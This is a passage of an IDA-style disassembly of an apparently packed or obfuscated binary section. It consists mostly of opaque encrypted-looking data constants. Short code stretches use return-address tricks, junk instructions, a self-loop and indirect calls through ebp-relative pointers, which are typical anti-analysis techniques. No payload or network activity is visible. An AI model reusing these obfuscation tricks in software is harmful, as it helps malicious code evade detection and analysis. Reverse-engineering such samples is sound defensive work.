4031CB65h, 18A14640h dd 0DFDFD2D0h, 3118A145h, 4FEA8773h, 7DB74ED8h, 0AD04D0E2h dd 2AC4220Eh, 0D71C4193h, 0A0FEDADAh, 0DD683A18h, 4A129500h dd 740ED6A0h, 6F92CDBCh, 82201FFAh, 7E0416A2h, 493842D6h dd 10B87049h, 0FB4BD9CBh, 0D6D98084h, 0A03ACC5Bh, 976FED24h dd 2924250Dh, 73181168h, 81304CD9h, 80399245h, 0CEF19111h dd 0C9218308h, 86067B25h, 8E08CEF1h, 7FEF8614h, 0BF34EAE6h dd 0FD8F8F85h, 0CF610484h, 5A960C08h, 69039487h, 689146DFh dd 0BDBA5B7h, 0FFF0EC79h, 0D59776C2h, 4110C24Fh, 4FBAFAB7h dd 485A00E0h, 5EA6FCE0h, 179ED872h, 19E597A5h, 637C4B68h dd 0E6702E52h, 617BEBABh, 0B37F258Fh, 8C48AE4Fh, 0B7CD116Bh dd 0C3BD5F7Bh, 0A748632h, 4869E3Ah, 3A44EA72h, 0DC10D8EAh dd 0C71F5DF0h, 0C915678Bh, 7C1688Ch, 6F98FF1h, 379F6706h dd 21955DDFh, 0C1BB5F0Bh, 4168233h, 335AA7Ah, 4D000000h dd 0A14AF654h, 0A9430FD7h, 0B45B77CFh, 455C78C4h, 0BE537FC7h dd 0C76A66BEh, 356D69B5h, 0CD636FB7h, 0D36753B3h, 685E55A9h dd 1295h, 53240C89h, 0C381E389h, 4, 4EB81h, 1C870000h dd 4895C24h, 0E3895324h, 4C381h, 0EB830000h, 241C8704h dd 241C895Ch, 4A586852h, 0F75A20D5h, 0B9514ADAh, 0B5879EEh dd 8159CA21h, 0E70995F2h, 5AD0890Ch, 0A6368h, 24248900h dd 4240481h, 5B000000h, 242C8150h, 6A76B9Fh, 8108438Fh dd 6B9F0843h, 34FF06A7h, 0C4815B24h, 4, 582434FFh, 0E904C483h dd 0FFFA2F0Eh, 845E4669h, 715C6AC5h, 4C31B891h, 0C50307EFh dd 0C076E0FFh, 914A42E5h, 0EB3C30C1h, 701D7E5Bh, 61110BA0h dd 0E72B74A2h, 0AF757884h, 0B0C85016h, 7DEC4BB9h, 0CAB75F5Ch dd 56A85FAAh, 0E3D2495Ah, 46291246h, 0D0C43140h, 0A4A14DF1h dd 0E8940DB7h, 394C77B3h, 801D11E8h, 91E14B0Bh, 281479E9h dd 83E944CCh, 7B000000h, 47654E99h, 0F3BAF5CCh, 0D666D138h dd 979FABAFh, 0E37C4DB2h, 720095B7h, 0B5E9A9E5h, 609BB69Ch dd 0A9B6F377h, 609EB794h, 897D60D7h, 8C9EA9BDh, 0E3729EBDh dd 204A95ACh, 7E9BB98Bh, 0B99D8993h, 96AFF496h, 0B594A19Eh dd 0FD91A7D6h, 0CC48D100h, 3C33594Ah, 4D520071h, 5EF357DBh dd 0BBEFB600h, 0BD899Dh, 0B69F8995h, 97BBEFh, 0C3B1B6D0h dd 527155h, 0C20DA437h, 0E0910D3h, 0 dd 6FE90000h, 68000010h, 7EF4F5Dh, 0FA2E15E9h, 501E68FFh dd 0BE907EFh, 68FFFA2Eh, 7EF511Dh, 0FA2E01E9h, 525168FFh dd 0F7E907EFh, 68FFFA2Dh, 7EF52DDh, 0FA2DEDE9h, 53A868FFh dd 0E3E907EFh, 68FFFA2Dh, 7EF544Dh, 0FA2DD9E9h, 54DE68FFh dd 0CFE907EFh, 68FFFA2Dh, 7EF55C6h, 0FA2DC5E9h, 569568FFh dd 0BBE907EFh, 68FFFA2Dh, 7EF5791h, 0FA2DB1E9h, 58EB68FFh dd 0A7E907EFh, 68FFFA2Dh, 7EF5B62h, 0FA2D9DE9h, 5C6368FFh dd 93E907EFh, 7BFFFA2Dh, 0A30DA0D0h, 0D440ED8Fh, 1BB53842h dd 48E4890Bh, 0CE5ED7A5h, 90E40969h, 0E262B31Dh, 2E4EE153h dd 75071587h, 960B97F8h, 286D7716h, 20BACCFEh, 6D773171h dd 69C1E328h, 0D6A04A5Bh, 6749844h, 30DAF62Ah, 0C54F4F42h dd 0E3C1305Ch, 628DA04Dh, 4F2E63F5h, 4737B5ACh, 1303CB5Dh dd 0FB374D91h, 128F19A7h, 2873AC92h, 0ED6A04Ah, 0AE8A1874h dd 73AC03DFh, 0B455F928h, 19F59D67h, 44D98Ch, 33CD0000h dd 73B43E7Eh, 87F91E28h, 3B6925BFh, 0A0B3CDFFh, 4808A537h dd 9CC35D31h, 0DB2B55E7h, 0E9FF3BC9h, 0B55D39B8h, 0FB4B5937h dd 735DAE0Ah, 0FAE5228h, 0B7C96FF7h, 2E9D556Fh, 8C1A47D6h dd 9F10h, 0ED78B200h, 556E14ABh, 298D652Eh, 21AD7103h dd 76DE680Ch, 0A67198E1h, 68A5BAA6h, 0B0780ADAh, 8EBA507Ch dd 0A07C126Ch, 0AD420614h, 0D1B03DD3h, 305C42E8h, 872E48E2h dd 0A9750715h, 3CCE59D4h, 0B5317245h, 53E2C037h, 0F08A1D18h dd 0C758B381h, 31CBD92Fh, 79F48095h, 0B7423ADFh, 3C34B1CEh dd 8497EF6h, 1700000Eh, 5FF97404h, 802CC1BBh, 37610C6Eh dd 64D05DDFh, 920AABD1h, 64102595h, 0B6366FC9h, 27A9D3Fh dd 492BC173h, 0AAE7C3A4h, 286D75EAh, 4AB2102Ah, 0FC58D5A7h dd 31911C5Eh, 0A537A0B3h, 0B5AAEDECh, 27FFA537h, 60E43D99h dd 0A9DDF988h, 7F832873h, 0AA8D18DEh, 13ACAFB5h, 0B709BA76h dd 378C1AACh, 0A3h, 0D6A04A93h, 0CDAF420Eh, 0A4DD7771h dd 305CC4E4h, 41D6762Ch, 0A912F33Fh, 0AD305CBFh, 0D440ED8Fh dd 15E83446h, 86FB8D1Ah, 37B5AE33h, 0FA829703h, 6B0A982Ah dd 18B22530h, 0C7D91269h, 6802A02Fh, 993349ECh, 5F1B5E0Ch dd 0EA46585Ch, 0D4A0B5E7h, 35CF365Dh, 299E563Ch, 0D47h dd 38B5C754h, 7302789Ch, 0A04D2FC1h, 179E1C74h, 49E490A5h dd 0D77A56D3h, 75AC08A5h, 3DD27EF7h, 0F406B243h, 1882EB8Ah dd 6D752969h, 0F3D1EB28h, 47C5DC78h, 0A90DE5FFh, 0D37DF084h dd 2D983839h, 0C30FB18Dh, 4A02802Dh, 2D4FE0A0h, 0E13DD3D1h dd 54544DE7h, 0BC305CC5h, 8CAE0AE6h, 49E343F2h, 9C0D6F8Dh dd 305CC51Ch, 9C601A3Ch, 0A5138E06h, 0B9B27079h, 0F6220E9Ch dd 0F18C1E60h, 70D669C3h, 0FA3602DBh, 0E0743CDEh, 0FD69049Ah dd 63C34151h, 0A26C2C65h, 0FEA4305Ch, 62618068h, 0BC4ED954h dd 0A67EFC10h, 0DFD2D41Ch, 37B57C2Ch, 0A2FC188Ah, 8F6B153Ah dd 0E949E3FEh, 60F762FFh, 7E903CD6h, 665534FCh, 0CC384249h dd 0B8BB0ED6h, 6BE49D2Fh, 0BD3054A8h, 0B7CA7E20h, 38F0521Eh dd 10BC4E54h, 8A0A8701h, 8A21133Dh, 38AE8A18h, 71FC7E9Ch dd 0AE4B35C7h, 3CA855FDh, 48AC03D3h, 5700000Ch, 9F39B4C4h dd 0C06C017Bh, 77A14C2Eh, 0A4109D1Fh, 0D24AEB91h, 0A4D06555h dd 0F676AF09h, 423ADD7Fh, 89EB01B3h, 6A2783E4h, 286D742Ah dd 4AF2D0EAh, 0BB0ED6A0h, 0E49D2FB8h, 37B59EE1h, 0CF59F3B1h dd 739DD2D2h, 0E4604228h, 0CDD72FADh, 2AC59865h, 35912BBDh dd 0FE8458DCh, 70905332h, 9B062FCCh, 0DA6091B5h, 0B446D401h dd 0D37BF928h, 0E0E242C2h, 912DD408h, 772089EAh, 0FF122CBh dd 6F9403BBh, 53h, 37A0B37Bh, 77F2ECA5h, 984437B2h, 60E23276h dd 0AC70069Ch, 6C36DA16h, 291E43DAh, 0A4937A1Fh, 906C0E20h dd 4C02612h, 9DE489F3h, 28737C1Bh, 0C2571339h, 0CA586ABAh dd 4FB9A530h, 0C2A9F06Ch, 26C96B76h, 78D98E56h, 4D00000Bh dd 370F6D81h, 0B34745ADh, 0ECA537A0h, 384C763Ah, 0B21AACF6h dd 0E557DE98h, 0CFD92557h, 1BCA0E36h, 88156D00h, 2D039A00h dd 2EC32F37h, 8F029403h, 305CB314h, 0DAA4B622h, 0B3EE780Ah dd 207DB2F3h, 67F1871Dh, 92235DFFh, 9A6A1426h, 29C354C7h dd 0D69AFD78h, 42EFB527h, 2429F737h, 141EB18Dh, 1B00000Bh dd 43ED80F0h, 0F420CDAFh, 3B951862h, 68C469EBh, 0AE3EB7C5h dd 70042989h, 0C24253FDh, 0E6E8133h, 55273567h, 0B6EBB7D8h dd 286D72F6h, 9FBEEC1Eh, 305CC543h, 34C651DCh, 4C789A7Dh dd 849CF838h, 4CE67006h, 20086A80h, 0F22266F4h, 0D353E270h dd 0E29FE50Bh, 286D77A2h, 0BA23072h, 0EA031AFAh, 0A80CE4C2h dd 592CF082h, 17BF49DEh, 35B37F01h, 0C604797Ch, 128F192Fh dd 20840392h, 0E7922082h, 3C391F56h, 88F1E67Eh, 9700000Ah dd 0DF79F484h, 0AC413Bh, 0B7E18CEEh, 0E450DD5Fh, 128A2B51h dd 0E490A515h, 36B6EF49h, 82FA1DBFh, 0C9AB41F3h, 2A674324h dd 286D736Ah, 4A3290AAh, 420ED6A0h, 2BA9F8A8h, 0C82C4995h dd 0DC10F021h, 0FA6E8430h, 50000004h, 0CCCBCBC6h, 5F45305Ch dd 265011CEh, 220EE21Ch, 37A0B3E0h, 781DECA5h, 0E76F384Ch dd 1DC12953h, 0F8B8E983h, 18286D76h, 7697178Ah, 0E83286Dh dd 286D778Eh, 32701C86h, 66F486AAh, 90E208D4h, 0DF99B31Dh dd 77429E07h, 7D08286Dh, 0A869A96Ch, 83037E11h, 8D286CF9h dd 9FF48117h, 0DBC5A88Bh, 2DC8E54Dh, 0FF9620BAh, 2A389655h dd 0DFC3463h, 2FC668CAh, 0F05FDAC8h, 8C3C3980h, 9BD1FB0h dd 49E20000h, 62A862Fh, 0B95FF974h, 92822EC7h, 1E339D10h dd 0E059D75Eh, 961F5DF0h, 0C469EB3Ah, 38B5C768h, 71FC7E9Ch dd 9F1F920Ch, 71286D71h, 0A04A655Bh, 769844D6h, 0C4F02C04h dd 0FDF84436h, 2FADE561h, 0DDFE9FC3h, 8430DBE3h, 42803h dd 34DB8300h, 9FDEEC44h, 305CC543h, 34C651DCh, 5E18329Ah dd 5534FC86h, 384C76ECh, 50EA7C26h, 6D786121h, 39F1B328h dd 6B1527AFh, 0B2CC6ECAh, 98885452h, 0C5BCCA1Ah, 286D77C5h dd 6BC7554Fh, 9A2CBBB6h, 0C651E4E7h, 79F0B22Fh, 3C39A9C0h dd 187B6CE0h, 7000009h, 4FE984F4h, 0F05CD1ABh, 27911C5Eh dd 54C06DEFh, 0A23ABBC1h, 74001585h, 0C6465FF9h, 126A8D2Fh dd 591B3163h, 0BAF7B3D4h, 286D70FAh, 4A82E01Ah, 420ED6A0h dd 7B76CEA8h, 618A52EBh, 0E68ADC8Fh, 0BF47E60Ah, 0D97DFF17h dd 0DBE84034h, 84313BE9h, 37C05h, 199F5D00h, 0C6305CC5h dd 772ABC2Bh, 384C76E7h, 5C15B49h, 4CE885F7h, 0BD70CCAEh dd 0F99325B2h, 69C1BB5Dh, 0C6652598h, 366FF72Fh, 0C967AB6h dd 39BD3A65h, 550ADA3Ch, 887h, 78F58794h, 0B34238DCh, 0E08DEF01h dd 57DE5CB4h, 892450E5h, 97BA1613h, 0B5EC48E5h, 0FD12BE37h dd 0B446F283h, 58422BCAh, 6D716929h, 3391AB28h, 44D6A04Ah dd 3A0A8898h, 0A02C40A8h, 0B814E88Ah, 0BD19E597h, 0D578DC98h dd 23038191h, 483313A1h, 2E758524h, 17BF47E6h, 1BBF7B05h dd 55EE87F1h, 8430E06Bh, 78Bh, 0D251DF00h, 0F1000002h dd 5CC5199Fh, 3E730D30h, 305CC57Eh, 77A0C96h, 305CC587h dd 2DF1B89h, 0BBF68017h, 384C76A2h, 354BEE76h, 6D773C7Ch dd 38CED428h, 4960CF0h, 0E1A1D06Ah, 33286D76h, 96BCE471h dd 21C91369h, 2D4FEDC9h, 5E1E339Bh, 0A934FC86h, 0B393ED0Fh dd 52E473FEh, 0C6216C5Fh, 0EBA6302Fh, 208420ABh, 1CBBFB9Ch dd 0C6CE6F4Ch, 3A6814DCh, 39D436BFh, 81360E3Ch, 79Fh, 600D6F8Ch dd 0DB5A2034h, 8A5D779h, 7FF674ACh, 0B13C38DDh, 7F92FE3Bh dd 0CDC470FDh, 0E50AA64Fh, 9CBE1A9Bh, 702A53E2h, 6D708101h dd 0B799328h, 0ED6A04Ah, 0DA7EE670h, 0C4B1F1A0h, 4163305Ch dd 4D2FCDE9h, 33DA3AF1h, 94195BF1h, 30DFD52Fh, 0D1C05A84h dd 305CD0D1h, 9E346643h, 228D10E1h, 709A48Ch, 59000000h dd 1EC51h, 1A9FF100h, 0C5305CC5h, 762BBD2Ah, 384C76B4h dd 0FDB44E58h, 286D77BDh, 5C5C4D57h, 0B4286D78h, 6CE58EEh dd 7BEB8AF4h, 1B0B3FD3h, 0A93F4599h, 0B5C75541h, 0E999469h dd 8C48E27Ch, 0B7CD116Bh, 6D77C2C2h, 0C6505228h, 6D77CBCBh dd 935F4528h, 0C664BFF2h, 842D772Fh, 3C39BD2Dh, 0D080370Fh dd 0DF000006h, 7B13C3Ch, 48E489F3h, 0FF59D4A6h, 2C8825A7h dd 6AC27309h, 2C48EDCDh, 7EFE1781h, 0CAB245F7h, 1163892Bh dd 0F2AFFB9Ch, 286D6EB2h, 4A7A2862h, 420ED6A0h, 5A76CEA8h dd 5975C94Bh, 0CFCFC2B6h, 41305CC4h, 7471CD63h, 7CF4CF23h dd 0B3D54EC7h, 4638DE0Ah, 4A5EBB0h, 0A5482AC0h, 30F9A41Ch dd 14C284h, 2AC40000h, 5CB83777h, 3CBD930h, 64A69212h dd 11051h, 0EE78F100h, 5CC4F3B3h, 3440D530h, 0A6247C58h dd 27B6445Eh, 0BDE55950h, 0C2836F97h, 305C7FBDh, 2B66F560h dd 305C806Bh, 686FBA5h, 0E305C80h, 0E6700694h, 5FA7D97Eh dd 86FBED45h, 384C317Ch, 0DE2F1590h, 0ECE8663Ah, 4731CC5Eh dd 73C3CA76h, 730D9B57h, 3DA068DAh, 8169EBEBh, 0F8750715h dd 60BCBE5Ch, 831582ADh, 0C5EE9B0Eh, 50E5612Fh, 0ED83FD12h dd 0AE4B5905h, 3C390A2Dh, 0D4FCD363h, 0DB000005h, 3AD4030h dd 0B4E08DEFh, 0FB55D8A2h, 288429ABh, 6EFE7705h, 3044E9C9h dd 820213BDh, 0CEAE41F3h, 1567F527h, 0F6ABF798h, 286D6DB6h dd 787E2C5Eh, 0E34339DCh, 8FAD09E1h, 79C25BEDh, 9E5AFECCh dd 7A9C38h, 32D8F428h, 0E12FFC40h, 0C6E8C38h, 37E02061h dd 0C1E8431h, 80000000h, 0E34FCDC4h, 275121h, 4AF10000h dd 700ED6A0h, 0EA3A40D4h, 96A410D8h, 648A52E4h, 3782DE1Ah dd 0A2487C1Dh, 3FE85DD0h, 1E000000h, 14DC5EB6h, 0D6A04AB6h dd 0C53C970Eh, 0E232305Ch, 1A309C60h, 87FA8458h, 305CC507h dd 0D0FC9B09h, 0D539C929h, 185AF034h, 4C32C68Eh, 5CC55555h dd 57E5BF30h, 0B03DF58Fh, 0F789AE36h, 0A04A893Bh, 22AA44D6h dd 7D3D6C0Eh, 97305CC5h, 3489250Dh, 651CAE39h, 384C76B3h dd 7912B79h, 79C5475Fh, 7876366Bh, 2D64286Dh, 286D786Dh dd 1491FDA7h, 8947BE36h, 3DF58BB5h, 680923ABh, 0F0045D60h dd 1C67F38Ah, 2B961E76h, 942A9818h, 57FF6F06h, 5A7EBAC2h dd 0AB7EC6B0h, 148D1F88h, 305D1599h, 63193D99h, 0D9730183h dd 109DDF7Dh, 18E496A4h, 0AB3DAA45h, 0D6FC7BF6h, 7A37C127h dd 1894FD3Ah, 7C60C8DAh, 15788B26h, 0C8042426h, 47A97h dd 0EA8AA100h, 3745E94Bh, 82FC12BEh, 0D35141F3h, 1963F622h dd 0B7230494h, 0F95BDAA2h, 2F8924A8h, 53FD7008h, 5136BFB9h dd 6D5C5C55h, 86B4286Dh, 0D6A04A20h, 195FFD5Fh, 5CC52868h dd 12BAE830h, 26BC8002h, 0AA324C90h, 9A28F486h, 0A6D07A5Eh dd 0D0A24814h, 479F1D74h, 0E2B9F53Dh, 23C9FBA2h, 742DC751h dd 305CC534h, 0E737C6DCh, 0E1196E07h, 52CCD119h, 0F120608Ah dd 0B615DD73h, 8431594Eh, 3EA8h, 0A0B33A00h, 2A292530h dd 0F1877CB3h, 0BAB02A67h, 0A6FC37B1h, 0D5A74814h, 0A8A9B43h dd 7D40A83Ah, 72BA8406h, 0C8AA4028h, 0CB7F963Eh, 0FA885424h dd 2E0A9864h, 9EDE71A3h, 3B91146h, 78B10000h, 0FF47C5DCh dd 0C5500DE5h, 942EB852h, 5CC49D1Dh, 232A7730h, 3A4EF035h dd 8746B240h, 37B4BA64h, 20AC7032h, 3894680Ah, 339F6715h dd 6A9D61E3h, 9637C36Ah, 45D0DB82h, 7E9C38D2h, 0FFB234FCh dd 2FCB8F1Ch, 83F91E7Ah, 898F8E0Eh, 8E1C8620h, 0C9E2CB6h dd 59497471h, 0AD856D9Fh, 43E20D20h, 0E70BD3ADh, 0A53B4995h dd 0C4DD7913h, 0F619E840h, 9C27E22Ah, 7F923E06h, 0B4CE21FDh dd 0BD750728h, 6A85A851h, 44D16BFDh, 1A077D16h, 2DDC1461h dd 1FF91FCAh, 0F95BDAC8h, 0F1DD2153h, 24641D5Bh, 0EC10B71Fh dd 1EBFFFB2h, 535110B7h, 0D3862FBDh, 0A845D740h, 90EB9522h dd 5056A29Ch, 10574221h, 0F2525018h, 42E559F4h, 6E23A4A8h dd 0DE5A5DCh, 752F08CEh, 0DF0CCBDh, 689408CEh, 85A935C1h dd 38883BF7h, 0B6ABBF93h, 2Eh, 0EC519D28h, 61C7F1C4h, 0A0B33B89h dd 430BA537h, 6819D153h, 37B5AB69h, 0FAAB7B29h, 2873AADEh dd 2DF7E82h, 8C19F9C2h, 0D43Ch, 0A04A8600h, 0AF420ED6h dd 0B74571CDh, 869A33C5h, 0CE828B60h, 4C08A48Ch, 2221CCAEh dd 305C2479h, 0C8B9BF5Dh, 305C23C8h, 29C45A48h, 9A176D8Fh dd 305C241Ah, 0CA1AA8FAh, 0D973E477h, 0B50319A8h, 0F98C1937h dd 62CBFECBh, 15AF39CFh, 734A1C9Ch, 42AEF428h, 0D067EF7Fh dd 0C2CF1DA8h, 6392D74Ah, 0CF5FDA97h, 906409D1h, 0D8A2B444h dd 8822B44Ah, 8E56D4CCh, 0BE4D3CF4h, 0F42FC7D7h, 9DB01CAEh dd 57FA56DFh, 0D7307021h, 0C2E02087h, 0F58BF51Ah, 3533837Ch dd 0BA2D213Ch, 203h, 0FC710328h, 37BEBC50h, 64097385h dd 0DB5AD8C8h, 0DA0D479h, 1B3E9A9Fh, 3160CC61h, 819602B3h dd 30DA76FFh, 0DCC6AF46h, 6D69E5A5h, 0AF1D2F28h, 58D5A74Ah dd 911C5EFCh, 37A0B331h, 0AAEDECA5h, 0F75F37B5h, 0B9CB1B65h dd 0C218D71h, 780E9468h, 0A9E1FDA4h, 7B872873h, 0FABF01D2h dd 0E8748C19h, 0A6FB3745h, 0E9h, 0D6A04A3Ch, 0CDAF420Eh dd 4BDE7771h, 0FA5948C5h, 574001E9h, 73305CC0h, 0BA169FD9h dd 801EE690h, 668953F5h, 0D119F909h, 0F486111Ch, 0D1D1C05Ah dd 43305C41h, 0E9F88961h, 0B337B520h, 21286819h, 0E202873h dd 0B86206Ch, 2873218Bh, 0A1891F85h, 0D04EE7BDh, 0A1D4B445h dd 9951CFC3h, 2CBE29C4h, 0C7C8FF75h, 65F7AD2Fh, 0A7F981C8h dd 891BEB95h, 0DBC9FBFCh, 35505041h, 0E2C02088h, 21349016h dd 52B2CA6Dh, 1A60F450h, 0AA4FE984h, 4DB827D2h, 8C43C35h dd 10257h, 72022900h, 0BFBD51C3h, 0A749A36h, 5BD9C96Bh dd 0A1DB7EDAh, 3F9B9C0Ch, 61D3621Ah, 9701AC30h, 0DB75F880h dd 0C9AE4731h, 68E4A4DDh, 1E2C286Dh, 0D5A74AA8h, 37FDAA43h dd 5E89D442h, 8FAD0F92h, 5CF35BEDh, 65C5C01Ch, 1A23F047h dd 48559D33h, 0D6A04AFAh, 0CEA8420Eh, 76E10C27h, 0A0D278E4h dd 8E86465Ch, 46B2300Ch, 787A3160h, 0EAB8384Ch, 0D49CBE1Ah dd 44443D43h, 0CC286D78h, 0E6FC40D6h, 0E0C52D57h, 0D7655FADh dd 30769945h, 76CE5C1Eh, 36C4B65Ah, 0B745F7FAh, 0C3235DF3h dd 3A7A37C1h, 0DA286D0Ch, 0DCEA3AC8h, 2F542A41h, 56F6832Ch dd 9475BD3Fh, 8B0BA382h, 0DA2A54E6h, 0DC205AFEh, 9A58010Fh dd 0B4701933h, 9A42D4A6h, 0AF35098Bh, 56E07E43h, 0CBA35B5Bh dd 3EFB5C5h, 2BFB8597h, 29F577AFh, 0CF37D6F6h, 0F7622236h dd 0FC34765Ah, 0AD4032D8h, 94B9E903h, 0DDF252E0h, 3, 4AF65465h dd 430FD7A1h, 5B77CFA9h, 5C78C4B4h, 537FC745h, 6A66BEBEh dd 6D69B5C7h, 636FB735h, 6753B3CDh, 5E55A9D3h, 81E38953h dd 4C3h, 4EB8300h, 8B241C87h, 0E8682424h dd 89000005h, 8953241Ch, 4C381E3h, 83000000h, 1C8704EBh dd 0C895C24h, 31BE5624h, 8907EF4Eh, 24348BF3h, 5404C483h dd 81240C8Bh, 4C4h, 0BA525300h, 692C504Dh, 4245429h, 8418F5Ah dd 4D084181h, 8B692C50h, 8950240Ch, 405E0h, 4050000h, 87000000h dd 0FF5C2404h, 815B2434h, 4C4h, 1DBCE900h, 0DE21FFFAh dd 0D7AF8643h, 20A487A6h, 8AB865F2h, 307EF5Dh, 29E0FFC5h dd 7215CD38h, 0C54E2F66h, 885BB78Ah, 0A53DA0E0h, 9A0AD074h dd 0A4EC592h, 90262ECDh, 95264E87h, 1B270C7Ch, 771807C3h dd 0E86A54DDh, 0Dh, 0BD14FAFAh, 1B5F73B7h, 0A7FA7FB1h dd 5E8DCh, 56350000h, 51D6A6F4h, 0EE8h, 5027B500h, 0E5A78960h dd 9E9DC027h, 5E4ABC48h, 0F595F5Ah, 189h, 0C181F900h, 6C48h dd 820Fh, 0D1680000h, 5800001Ah, 0AE9h, 897E000h, 5C6220F4h dd 8B905B89h, 5FBF6619h, 6FF3810Bh, 0F7F69C2h, 0F381F3BFh dd 0FFE3315h, 570FF381h, 53F87A1Ch, 0DB965EBFh, 0F5018F00h dd 0F01BE981h, 8B660FF0h, 17C181F7h, 0E80FF0F0h, 12h, 58F96E6Bh dd 6DEBBC77h, 0A3292BF5h, 0AF7C439Ch, 815AE2EDh, 1E8h dd 31850F00h, 0E8000000h, 13h, 39E678A6h, 0EFEEABDEh, 0C619ED44h dd 18572F3Dh, 66260F9Ah, 6549D281h, 36E95Fh, 0A04C0000h dd 30C3F1DCh, 0A4F8D291h, 0E1089A73h, 0DE950h, 14DF0000h dd 97C200C0h, 0D5B78FFAh, 5E0D5D91h, 0FFFF5EE9h, 563C15FFh dd 0BE70992Dh, 2F65C611h, 0BB2E650Fh, 601F8D8Dh, 8D2907EFh dd 7E90BE1h, 0F499D8Bh, 8D8907E9h, 7E9320Dh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 3EC35040h, 0F9581BE8h dd 94919A12h, 68F0Fh, 85890000h, 7E908D9h, 0F0D88166h dd 0E585C770h, 8007E922h, 0F000074h, 85C7DABFh, 7E922B1h dd 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_5E9D7F and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5E9D7F proc near ; CODE XREF: sdfs____:005E9D77p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_5E9D7F endp ; --------------------------------------------------------------------------- sub al, 7Dh cmpsb mov bh, 16h push dword ptr [ebp+7E929A5h] pusha pusha cmc mov [ebp+7E9192Dh], ecx popa mov ax, dx popa call dword ptr [ebp+7E92285h] push 0 push esi call sub_5E9DB9 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5E9DB9 proc near ; CODE XREF: sdfs____:005E9DB1p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_5E9DB9 endp ; --------------------------------------------------------------------------- pop ss loc_5E9DCA: ; CODE XREF: sdfs____:loc_5E9DCAj jmp short loc_5E9DCA ; --------------------------------------------------------------------------- sub eax, 34E5FA56h push 0 call dword ptr [ebp+7E90C31h] mov eax, eax jmp short loc_5E9DFC ; --------------------------------------------------------------------------- dw 519h dd 6E119693h, 0EDC05747h, 0DE72981Dh, 0FBB2DE2Eh, 63D86C2Dh dd 9286BCA4h, 1BEBE2A0h ; --------------------------------------------------------------------------- loc_5E9DFC: ; CODE XREF: sdfs____:005E9DDCj jmp loc_5E9E16 ; --------------------------------------------------------------------------- db 0F0h, 0B2h, 2Ch dd 38h, 3 dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_5E9E16: ; CODE XREF: sdfs____:loc_5E9DFCj jmp loc_5EA312 ; --------------------------------------------------------------------------- db 2Bh dd 53FD7000h, 8430BDBFh, 0CB650872h, 78D459DBh, 9E0EA7D5h dd 60143999h, 0B23263CDh, 0FE7E9103h, 4537C577h, 0A6DBC7A8h dd 286D64E6h, 4AAE1C2Eh, 420ED6A0h, 0F420CDAFh, 6E082266h dd 7C790B96h, 55B0458Ch, 0E1ED31C7h, 379F294Bh, 5C905820h dd 469EDC70h, 45991B0Ah, 48941809h, 0B042EB0Dh, 0AE5A0315h dd 0E343F28Ch, 55A92B7Bh, 2037E34Fh, 0E06CE58h, 0FF59A48Ch dd 0F0DC2058h, 0ACC323A1h, 30C701A8h, 7B55554Ch, 0D3BF305Ch dd 18AE3C3Ch, 67113B95h, 7ACBE69Fh, 6E82305Ch, 29B212CFh dd 58CC8431h, 96000000h, 0DFD2A04Ah, 305CC4DFh, 4BDD7331h dd 230F6983h, 0C494168Fh, 7F91305Ch, 0DFC33DDEh, 1238430h dd 87000000h, 8D4A64Ah, 72D2A84Ch, 3ACC4E46h, 0C4B1F1A0h dd 4163305Ch, 8E18B5E9h, 0F54933C6h, 3EDF03EFh, 9914668Ah dd 3D551D3Fh, 1A8429BFh, 3E39DB2h, 4A1BA981h, 7F09D5A7h dd 0F5E720E6h, 0DB171D05h, 97215BFFh, 0F3532DCFh, 6A2A67F1h dd 0AA305BE6h, 2FFC30F8h, 698C38E1h, 24366213h, 28CE8A5Ah dd 32DE8E56h, 0B9664E8Bh, 99808431h, 22000000h, 9D5A74Ah dd 0DD1AB4Dh, 77CFAD41h, 75C94B5Bh, 11E58488h, 5CC52060h dd 1CB2F030h, 0F697B9h, 77CF4D44h, 14A1076Ah, 841A4C08h dd 97E508ACh, 0BBF6801Eh, 305C26FBh, 84FD8F15h, 305C2704h dd 7E5A960Ch, 7E17A1DBh, 0D227206h, 4B01DA73h, 0FB85D911h dd 26703061h, 2A0305Ch, 10928236h, 0C9709CCCh, 3178A808h dd 67C684h, 4A9C0000h, 334DE3A7h, 0E275419Dh, 170E4A9Ah dd 140D4995h, 91FF4C90h, 67E53CE8h, 677059Fh, 94B96B12h dd 688E56E0h, 73D7DA16h, 42D4A64Ah, 0DDBE48ABh, 0AC84AC96h dd 80369170h, 0DD34305Ch, 0DACB875Fh, 0CF318A5Ah, 0F33BCB2Eh dd 877DF342h, 0F9A074F1h, 6E2E63FDh, 0A6305C96h, 2D9734FCh dd 4984310Fh, 1, 0DAA44A19h, 0C0D07C0Ah, 28C2F642h, 581F64Eh dd 78C44859h, 0BB628E6Ah, 1895E709h, 275AF48Eh, 305CC567h dd 686FBA9h, 0E305CC5h, 96815C94h, 0FF3A7701h, 3737B5ADh dd 1725916Dh, 343AD365h, 0BFF31958h, 68C4C921h, 0B56CB0C2h dd 287364F3h, 48EE7600h, 1CD4EE36h, 7D9F49F0h, 0A3DC6903h dd 1DA9741Bh, 802CB179h, 671A3E6Ah, 47294164h, 0A93FCDB1h dd 0A1D37955h, 61FC8E5Dh, 759A85E6h, 1CA93B0Bh, 64D78246h dd 0DCB4298Ah, 0DC00E87Eh, 17618B3Dh, 5EDB259Eh, 0E1B8C1Ah dd 0AF000001h, 0A537A0B3h, 0C516960Bh, 0A4FE305Ch, 68275A4Ch dd 0AE37B59Ah, 56FA62F4h, 1690CC24h, 0DD1AB4Eh, 0FD1FBB77h dd 0B446F283h, 0BC5E7ACAh, 0CB1B61F4h, 0DB2BB9h, 81AB5DFCh dd 0FBC57EF7h, 7B8C1A0Ah, 50h, 2DBAB34Fh, 3A77019Bh, 305CC57Ah dd 2120089Ah, 0B05CC581h, 62A2DC69h, 40D4766Bh, 469E04E8h dd 5C1EDFDFh, 0E87436B0h, 0D6EC3042h, 4A9AE476h, 0ED8CF038h dd 0D0544D09h, 3BB04518h, 1ED0F0A1h, 6240305Ch, 648B53D3h dd 7AE3DC14h, 3000000h, 403ADC78h, 0AD3A35E8h, 946B661Bh dd 594B37B5h, 8D0F07CFh, 0AF4D09A5h, 